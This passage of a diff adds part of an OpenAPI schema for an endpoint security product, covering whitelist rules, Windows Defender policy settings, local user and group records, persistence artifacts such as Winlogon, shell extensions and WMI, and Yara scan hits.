+          - telemetry_etw_ti_nt_set_context_thread
+          - telemetry_etw_ti_nt_suspend_process
+          - telemetry_etw_ti_nt_suspend_thread
+          - telemetry_etw_ti_nt_write_virtual_memory
+          - telemetry_eventlog
+          - telemetry_file
+          - telemetry_group_event
+          - telemetry_injected_thread
+          - telemetry_kube_pod_event
+          - telemetry_library_load
+          - telemetry_named_pipe
+          - telemetry_network
+          - telemetry_network_listen
+          - telemetry_powershell
+          - telemetry_process
+          - telemetry_process_access
+          - telemetry_process_duplicate_handle
+          - telemetry_process_ptrace
+          - telemetry_process_tamper
+          - telemetry_raw_device_access
+          - telemetry_raw_socket_creation
+          - telemetry_registry
+          - telemetry_remote_thread
+          - telemetry_scheduled_task
+          - telemetry_url_request
+          - telemetry_usb_activity
+          - telemetry_user_event
+          - telemetry_win32k_get_async_key_state
+          - telemetry_win32k_register_raw_input_devices
+          - telemetry_win32k_set_windows_hook_ex
+          - telemetry_windows_service
+          - telemetry_wmi_event
+          - vt
+          - yara
+          - yara_memory
+        readOnly: true
+        title: Target
+        type: string
+    type: object
+  WhitelistRuleSubCriterion:
+    properties:
+      case_insensitive:
+        default: false
+        title: Case insensitive
+        type: boolean
+      operator:
+        enum:
+          - contains
+          - eq
+          - ncontains
+          - neq
+          - nwildcard
+          - regex
+          - wildcard
+        title: Operator
+        type: string
+      value:
+        title: Value
+        type: string
+    required:
+      - operator
+      - value
+    type: object
+    x-nullable: true
+  WhitelistRuleSubCriterionSnapshot:
+    properties:
+      case_insensitive:
+        readOnly: true
+        title: Case insensitive
+        type: boolean
+      operator:
+        enum:
+          - contains
+          - eq
+          - ncontains
+          - neq
+          - nwildcard
+          - regex
+          - wildcard
+        readOnly: true
+        title: Operator
+        type: string
+      value:
+        minLength: 1
+        readOnly: true
+        title: Value
+        type: string
+    type: object
+  WhitelistRuleSummary:
+    properties:
+      all_count_disabled:
+        default: 0
+        minimum: 0
+        title: All count disabled
+        type: integer
+      all_count_enabled:
+        default: 0
+        minimum: 0
+        title: All count enabled
+        type: integer
+      correlation_count_disabled:
+        default: 0
+        minimum: 0
+        title: Correlation count disabled
+        type: integer
+      correlation_count_enabled:
+        default: 0
+        minimum: 0
+        title: Correlation count enabled
+        type: integer
+      hlai_count_disabled:
+        default: 0
+        minimum: 0
+        title: Hlai count disabled
+        type: integer
+      hlai_count_enabled:
+        default: 0
+        minimum: 0
+        title: Hlai count enabled
+        type: integer
+      other_count_disabled:
+        default: 0
+        minimum: 0
+        title: Other count disabled
+        type: integer
+      other_count_enabled:
+        default: 0
+        minimum: 0
+        title: Other count enabled
+        type: integer
+      sigma_count_disabled:
+        default: 0
+        minimum: 0
+        title: Sigma count disabled
+        type: integer
+      sigma_count_enabled:
+        default: 0
+        minimum: 0
+        title: Sigma count enabled
+        type: integer
+      total_count_disabled:
+        default: 0
+        minimum: 0
+        title: Total count disabled
+        type: integer
+      total_count_enabled:
+        default: 0
+        minimum: 0
+        title: Total count enabled
+        type: integer
+      yara_count_disabled:
+        default: 0
+        minimum: 0
+        title: Yara count disabled
+        type: integer
+      yara_count_enabled:
+        default: 0
+        minimum: 0
+        title: Yara count enabled
+        type: integer
+    type: object
+  WhitelistedByData:
+    properties:
+      is_retroactive_application:
+        description: Indicate if the record is registered by an application action (not a cancel/revert).
+        title: Is retroactive application
+        type: boolean
+      whitelist_id:
+        description: Whitelist rule identifier.
+        minLength: 1
+        title: Whitelist id
+        type: string
+      whitelist_revision:
+        description: Whitelist rule revision.
+        title: Whitelist revision
+        type: integer
+    required:
+      - is_retroactive_application
+      - whitelist_id
+      - whitelist_revision
+    type: object
+  WildcardProcess:
+    properties:
+      param_operator:
+        description: '0: ITEM_EQUAL, 1: ITEM_NOT_EQUAL, 2: ITEM_CONTAINS, 3: ITEM_NOT_CONTAINS'
+        enum:
+          - 0
+          - 1
+          - 2
+          - 3
+        title: Param operator
+        type: integer
+      param_type:
+        description: '0: PROCESS_NAME, 1: PROCESS_PATH, 2: PROCESS_IS_CRITICAL, 3: PROCESS_USERNAME, 4: PROCESS_COMMANDLINE, 15: PROCESS_PID, 16: PROCESS_HASH_MD5, 17: PROCESS_HASH_SHA1, 18: PROCESS_HASH_SHA256, 10: PROCESS_PARENT_NAME, 11: PROCESS_PARENT_PATH, 12: PROCESS_PARENT_IS_CRITICAL, 13: PROCESS_PARENT_USERNAME, 14: PROCESS_PARENT_COMMANDLINE'
+        enum:
+          - 0
+          - 1
+          - 2
+          - 3
+          - 4
+          - 10
+          - 11
+          - 12
+          - 13
+          - 14
+          - 15
+          - 16
+          - 17
+          - 18
+        title: Param type
+        type: integer
+      param_value:
+        minLength: 1
+        title: Param value
+        type: string
+    required:
+      - param_operator
+      - param_type
+      - param_value
+    type: object
+  WildcardProcessFinderKiller:
+    properties:
+      values:
+        items:
+          $ref: '#/definitions/WildcardProcess'
+        type: array
+    required:
+      - values
+    type: object
+  WindowsDefender:
+    properties:
+      check_for_signatures_before_running_scan:
+        title: Check for signatures before running scan
+        type: boolean
+        x-nullable: true
+      disable_archive_scanning:
+        title: Disable archive scanning
+        type: boolean
+        x-nullable: true
+      disable_auto_exclusions:
+        title: Disable auto exclusions
+        type: boolean
+        x-nullable: true
+      disable_behavior_monitoring:
+        title: Disable behavior monitoring
+        type: boolean
+        x-nullable: true
+      disable_catchup_full_scan:
+        title: Disable catchup full scan
+        type: boolean
+        x-nullable: true
+      disable_catchup_quick_scan:
+        title: Disable catchup quick scan
+        type: boolean
+        x-nullable: true
+      disable_email_scanning:
+        title: Disable email scanning
+        type: boolean
+        x-nullable: true
+      disable_ioav_protection:
+        title: Disable ioav protection
+        type: boolean
+        x-nullable: true
+      disable_realtime_monitoring:
+        title: Disable realtime monitoring
+        type: boolean
+        x-nullable: true
+      disable_removable_drive_scanning:
+        title: Disable removable drive scanning
+        type: boolean
+        x-nullable: true
+      disable_restore_point:
+        title: Disable restore point
+        type: boolean
+        x-nullable: true
+      disable_scanning_mapped_network_drives_for_full_scan:
+        title: Disable scanning mapped network drives for full scan
+        type: boolean
+        x-nullable: true
+      disable_scanning_network_files:
+        title: Disable scanning network files
+        type: boolean
+        x-nullable: true
+      disable_script_scanning:
+        title: Disable script scanning
+        type: boolean
+        x-nullable: true
+      exclusion_extension:
+        items:
+          minLength: 1
+          title: Exclusion extension
+          type: string
+        type: array
+        x-nullable: true
+      exclusion_path:
+        items:
+          minLength: 1
+          title: Exclusion path
+          type: string
+        type: array
+        x-nullable: true
+      exclusion_process:
+        items:
+          minLength: 1
+          title: Exclusion process
+          type: string
+        type: array
+        x-nullable: true
+      high_threat_default_action:
+        enum:
+          - allow
+          - block
+          - clean
+          - no_action
+          - quarantine
+          - remove
+          - user_defined
+        title: High threat default action
+        type: string
+        x-nullable: true
+      low_threat_default_action:
+        enum:
+          - allow
+          - block
+          - clean
+          - no_action
+          - quarantine
+          - remove
+          - user_defined
+        title: Low threat default action
+        type: string
+        x-nullable: true
+      maps_reporting:
+        enum:
+          - advanced
+          - basic
+          - disabled
+        title: Maps reporting
+        type: string
+        x-nullable: true
+      moderate_threat_default_action:
+        enum:
+          - allow
+          - block
+          - clean
+          - no_action
+          - quarantine
+          - remove
+          - user_defined
+        title: Moderate threat default action
+        type: string
+        x-nullable: true
+      quarantine_purge_items_after_delay:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Quarantine purge items after delay
+        type: integer
+        x-nullable: true
+      randomize_schedule_task_times:
+        title: Randomize schedule task times
+        type: boolean
+        x-nullable: true
+      real_time_scan_direction:
+        enum:
+          - both
+          - incoming
+          - outcoming
+        title: Real time scan direction
+        type: string
+        x-nullable: true
+      remediation_schedule_day:
+        enum:
+          - everyday
+          - friday
+          - monday
+          - never
+          - saturday
+          - sunday
+          - thursday
+          - tuesday
+          - wednesday
+        title: Remediation schedule day
+        type: string
+        x-nullable: true
+      remediation_schedule_time:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Remediation schedule time
+        type: integer
+        x-nullable: true
+      scan_avg_cpu_load_factor:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Scan avg cpu load factor
+        type: integer
+        x-nullable: true
+      scan_only_if_idle_enabled:
+        title: Scan only if idle enabled
+        type: boolean
+        x-nullable: true
+      scan_parameters:
+        enum:
+          - full_scan
+          - quick_scan
+        title: Scan parameters
+        type: string
+        x-nullable: true
+      scan_purge_items_after_delay:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Scan purge items after delay
+        type: integer
+        x-nullable: true
+      scan_schedule_day:
+        enum:
+          - everyday
+          - friday
+          - monday
+          - never
+          - saturday
+          - sunday
+          - thursday
+          - tuesday
+          - wednesday
+        title: Scan schedule day
+        type: string
+        x-nullable: true
+      scan_schedule_quick_scan_time:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Scan schedule quick scan time
+        type: integer
+        x-nullable: true
+      scan_schedule_time:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Scan schedule time
+        type: integer
+        x-nullable: true
+      severe_threat_default_action:
+        enum:
+          - allow
+          - block
+          - clean
+          - no_action
+          - quarantine
+          - remove
+          - user_defined
+        title: Severe threat default action
+        type: string
+        x-nullable: true
+      signature_definition_update_file_shares_sources:
+        items:
+          minLength: 1
+          title: Signature definition update file shares sources
+          type: string
+        type: array
+        x-nullable: true
+      signature_fallback_order:
+        items:
+          minLength: 1
+          title: Signature fallback order
+          type: string
+        type: array
+        x-nullable: true
+      signature_schedule_day:
+        enum:
+          - everyday
+          - friday
+          - monday
+          - never
+          - saturday
+          - sunday
+          - thursday
+          - tuesday
+          - wednesday
+        title: Signature schedule day
+        type: string
+        x-nullable: true
+      signature_schedule_time:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Signature schedule time
+        type: integer
+        x-nullable: true
+      signature_update_catchup_interval:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Signature update catchup interval
+        type: integer
+        x-nullable: true
+      signature_update_interval:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Signature update interval
+        type: integer
+        x-nullable: true
+      submit_samples_consent:
+        enum:
+          - always_prompt
+          - never_send
+          - send_all
+          - send_safe
+        title: Submit samples consent
+        type: string
+        x-nullable: true
+      threat_id_default_actions:
+        items:
+          $ref: '#/definitions/ThreatDefaultAction'
+        type: array
+      ui_lockdown:
+        title: Ui lockdown
+        type: boolean
+        x-nullable: true
+      unknown_threat_default_action:
+        enum:
+          - allow
+          - block
+          - clean
+          - no_action
+          - quarantine
+          - remove
+          - user_defined
+        title: Unknown threat default action
+        type: string
+        x-nullable: true
+    type: object
+    x-nullable: true
+  WindowsLocalGroup:
+    properties:
+      agent:
+        $ref: '#/definitions/SimpleAgent'
+      child_groups:
+        items:
+          $ref: '#/definitions/SimpleWindowsGroup'
+        readOnly: true
+        type: array
+        x-nullable: true
+      comment:
+        minLength: 1
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      domain:
+        minLength: 1
+        readOnly: true
+        title: Domain
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      kind:
+        enum:
+          - domain_local_group
+          - global_group
+          - local_group
+          - well_known_group
+        readOnly: true
+        title: Kind
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      local_users:
+        items:
+          $ref: '#/definitions/AgentWindowsSimpleLocalUser'
+        readOnly: true
+        type: array
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      parent_group:
+        $ref: '#/definitions/SimpleWindowsGroup'
+      remote_users:
+        items:
+          $ref: '#/definitions/WindowsRemoteUser'
+        readOnly: true
+        type: array
+      sid:
+        minLength: 1
+        readOnly: true
+        title: Sid
+        type: string
+        x-nullable: true
+      user_count:
+        readOnly: true
+        title: User count
+        type: integer
+    required:
+      - agent
+    type: object
+  WindowsLocalUser:
+    properties:
+      account_disabled:
+        readOnly: true
+        title: Account disabled
+        type: boolean
+      agent:
+        $ref: '#/definitions/SimpleAgent'
+      bad_password_count:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Bad password count
+        type: integer
+      comment:
+        minLength: 1
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      flags:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Flags
+        type: integer
+        x-nullable: true
+      full_name:
+        minLength: 1
+        readOnly: true
+        title: Full name
+        type: string
+        x-nullable: true
+      groups:
+        items:
+          $ref: '#/definitions/WindowsSimpleLocalGroup'
+        readOnly: true
+        type: array
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_logon:
+        format: date-time
+        readOnly: true
+        title: Last logon
+        type: string
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+        x-nullable: true
+      num_logons:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Num logons
+        type: integer
+      password_doesnt_expire:
+        readOnly: true
+        title: Password doesnt expire
+        type: boolean
+      password_expired:
+        readOnly: true
+        title: Password expired
+        type: boolean
+      password_last_set:
+        format: date-time
+        readOnly: true
+        title: Password last set
+        type: string
+        x-nullable: true
+      privilege_level:
+        enum:
+          - 0
+          - 1
+          - 2
+        readOnly: true
+        title: Privilege level
+        type: integer
+      rid:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Rid
+        type: integer
+        x-nullable: true
+      sid:
+        minLength: 1
+        readOnly: true
+        title: Sid
+        type: string
+        x-nullable: true
+    required:
+      - agent
+    type: object
+  WindowsQfe:
+    properties:
+      agent:
+        $ref: '#/definitions/Agent'
+      caption:
+        minLength: 1
+        readOnly: true
+        title: Caption
+        type: string
+        x-nullable: true
+      description:
+        minLength: 1
+        readOnly: true
+        title: Description
+        type: string
+        x-nullable: true
+      hot_fix_id:
+        minLength: 1
+        readOnly: true
+        title: Hot fix id
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      installed_by:
+        minLength: 1
+        readOnly: true
+        title: Installed by
+        type: string
+        x-nullable: true
+      installed_on:
+        format: date-time
+        readOnly: true
+        title: Installed on
+        type: string
+        x-nullable: true
+    required:
+      - agent
+    type: object
+  WindowsRemoteUser:
+    properties:
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      domain:
+        minLength: 1
+        readOnly: true
+        title: Domain
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+        x-nullable: true
+      sid:
+        minLength: 1
+        readOnly: true
+        title: Sid
+        type: string
+        x-nullable: true
+    type: object
+  WindowsShellExecuteHook:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      clsid_details:
+        $ref: '#/definitions/CLSID'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - clsid_details
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - tenant
+      - timestamp
+      - username
+      - value
+      - wow64
+    type: object
+  WindowsShellExtension:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      clsid_details:
+        $ref: '#/definitions/CLSID'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - clsid_details
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - tenant
+      - timestamp
+      - username
+      - value
+      - wow64
+    type: object
+  WindowsShellIconOverlayIdentifier:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      clsid_details:
+        $ref: '#/definitions/CLSID'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - clsid_details
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - tenant
+      - timestamp
+      - username
+      - value
+      - wow64
+    type: object
+  WindowsShellLoadAndRun:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      clsid_details:
+        $ref: '#/definitions/CLSID'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - clsid_details
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - tenant
+      - timestamp
+      - username
+      - value
+      - wow64
+    type: object
+  WindowsShellServiceObject:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      clsid_details:
+        $ref: '#/definitions/CLSID'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - clsid_details
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - tenant
+      - timestamp
+      - username
+      - value
+      - wow64
+    type: object
+  WindowsShellServiceObjectDelayLoad:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      clsid_details:
+        $ref: '#/definitions/CLSID'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - clsid_details
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - tenant
+      - timestamp
+      - username
+      - value
+      - wow64
+    type: object
+  WindowsSimpleLocalGroup:
+    properties:
+      comment:
+        minLength: 1
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      domain:
+        minLength: 1
+        readOnly: true
+        title: Domain
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      kind:
+        enum:
+          - domain_local_group
+          - global_group
+          - local_group
+          - well_known_group
+        readOnly: true
+        title: Kind
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      parent_group:
+        readOnly: true
+        title: Parent group
+        type: string
+        x-nullable: true
+      sid:
+        minLength: 1
+        readOnly: true
+        title: Sid
+        type: string
+        x-nullable: true
+    type: object
+  Winlogon:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - tenant
+      - timestamp
+      - type
+      - username
+      - value
+      - wow64
+    type: object
+  WinlogonNotify:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - tenant
+      - timestamp
+      - username
+      - value
+      - wow64
+    type: object
+  WinsockHelper:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      helper_name:
+        minLength: 1
+        title: Helper name
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      service_name:
+        minLength: 1
+        title: Service name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - controlset
+      - helper_name
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - service_name
+      - tenant
+      - timestamp
+    type: object
+  Wmi:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      consumerdata:
+        minLength: 1
+        title: Consumerdata
+        type: string
+      eventconsumername:
+        minLength: 1
+        title: Eventconsumername
+        type: string
+      eventfilter:
+        minLength: 1
+        title: Eventfilter
+        type: string
+      eventfiltername:
+        minLength: 1
+        title: Eventfiltername
+        type: string
+      filtertoconsumertype:
+        minLength: 1
+        title: Filtertoconsumertype
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - consumerdata
+      - eventconsumername
+      - eventfilter
+      - eventfiltername
+      - filtertoconsumertype
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - tenant
+    type: object
+  WmiEvent:
+    properties:
+      consumer:
+        minLength: 1
+        title: Consumer
+        type: string
+      destination:
+        minLength: 1
+        title: Destination
+        type: string
+      event_date:
+        format: date-time
+        title: Event date
+        type: string
+      filter:
+        minLength: 1
+        title: Filter
+        type: string
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      namespace:
+        minLength: 1
+        title: Namespace
+        type: string
+      operation:
+        minLength: 1
+        title: Operation
+        type: string
+      query:
+        minLength: 1
+        title: Query
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      user_name:
+        minLength: 1
+        title: User name
+        type: string
+      user_sid:
+        minLength: 1
+        title: User sid
+        type: string
+    required:
+      - consumer
+      - destination
+      - event_date
+      - filter
+      - kind
+      - name
+      - namespace
+      - operation
+      - query
+      - type
+      - user_name
+      - user_sid
+    type: object
+  Yara:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      cmdline:
+        minLength: 1
+        title: Cmdline
+        type: string
+      create_time:
+        format: date-time
+        title: Create time
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      file_name:
+        minLength: 1
+        title: File name
+        type: string
+      hit_type:
+        minLength: 1
+        title: Hit type
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      linux_cmdline:
+        minLength: 1
+        title: Linux cmdline
+        type: string
+      linux_file_name:
+        minLength: 1
+        title: Linux file name
+        type: string
+      linux_source_name:
+        minLength: 1
+        title: Linux source name
+        type: string
+      pid:
+        title: Pid
+        type: integer
+      reference:
+        minLength: 1
+        title: Reference
+        type: string
+      rule_name:
+        minLength: 1
+        title: Rule name
+        type: string
+      score:
+        title: Score
+        type: integer
+      source_name:
+        minLength: 1
+        title: Source name
+        type: string
+      tenant:
